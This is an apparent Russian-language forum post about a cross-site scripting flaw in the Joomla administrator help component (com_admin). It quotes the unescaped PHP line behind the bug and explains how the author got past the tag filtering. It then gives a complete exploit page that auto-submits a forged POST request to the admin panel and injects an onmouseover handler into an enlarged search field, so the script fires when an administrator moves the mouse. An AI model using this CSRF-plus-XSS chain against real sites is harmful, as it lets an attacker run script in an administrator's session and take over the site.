Joomla XSS
XSS присутствует в компоненте com_admin.
Уязвимая строчка в
\joomla\administrator\components\com_admin\admin.a dmin.html.php:
PHP код:
<input type="text" name="helpsearch" value="<?php echo $helpsearch;?>" class="inputbox" />
Заходим на http://localhost/joomla/administrator/index.php?option=com_admin&task=help.
Там есть поле для поиска. Текст из него не htmlspecialchar-ится, но какая-то странная фильтрация есть.
Почему-то, если набрать, скажем, так: "><img src="blabla....., этот тег обрезается, то есть написать новый тег у меня не получилось.
Что ж, приходится обходиться свойствами тега <input>.
XSS в post-параметре админки, поэтому она не работала бы без XSRF.
Собственно, сплойт:
Код:
<html>
<body>
<form action="http://localhost/joomla/administrator/index.php?option=com_admin&task=help" method="post" name="adminForm">
<input class="text_area" type="hidden" name="option" value="com_admin" />
<input type="text" name="helpsearch" value='" size="1000" onmouseover="alert()' class="inputbox" />
<input type="submit" value="Go" class="button" id="xsrf"/>
<input type="hidden" name="task" value="help" />
</form>
<script>document.getElementById("xsrf").click();</script>
</body>
</html>
В чём суть: я сделал так, чтобы поле поиска стало длинным, так что, если админ проведёт мышкой по экрану, сработает xss. Вероятность этого весьма велика.